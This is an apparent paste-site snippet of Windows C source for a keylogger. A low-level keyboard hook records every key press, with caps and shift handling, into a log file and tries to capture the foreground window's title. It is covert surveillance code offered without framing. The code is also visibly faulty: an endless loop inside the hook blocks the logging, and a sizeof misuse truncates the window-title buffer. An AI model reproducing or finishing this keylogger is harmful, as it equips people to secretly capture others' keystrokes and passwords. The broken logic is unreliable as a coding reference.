rendered paste bodyLRESULT CALLBACK KeyboardHook (int nCode, WPARAM wParam, LPARAM lParam )
{
KBDLLHOOKSTRUCT keyStruct;
if (nCode < 0)
return CallNextHookEx(NULL,nCode,wParam,lParam);
if (wParam == WM_KEYDOWN)
{
keyStruct = *(KBDLLHOOKSTRUCT*)lParam;
bool caps = (GetKeyState(VK_CAPITAL) == 1);
if (GetKeyState(VK_SHIFT) < 0)
caps = !caps;
for (int i = 0; i < keyNameCount; i++)
{
if (keyNames[i].pCode == keyStruct.vkCode)
{
HWND currenthwnd,hwnd;
char s[1024];
while (1)
{
hwnd=NULL;
currenthwnd=GetForegroundWindow();
if (currenthwnd!=hwnd)
{
hwnd=currenthwnd;
if (hwnd==NULL) printf("No window\n");
else
{
GetWindowText(hwnd,s,sizeof(1024));
printf("%s\n",s);
}
}
}
if (caps)
fprintf(logFile, "%s", keyNames[i].upper);
else fprintf(logFile, "%s", keyNames[i].lower);
break;
}
}
fflush(logFile);
}
return 0;
}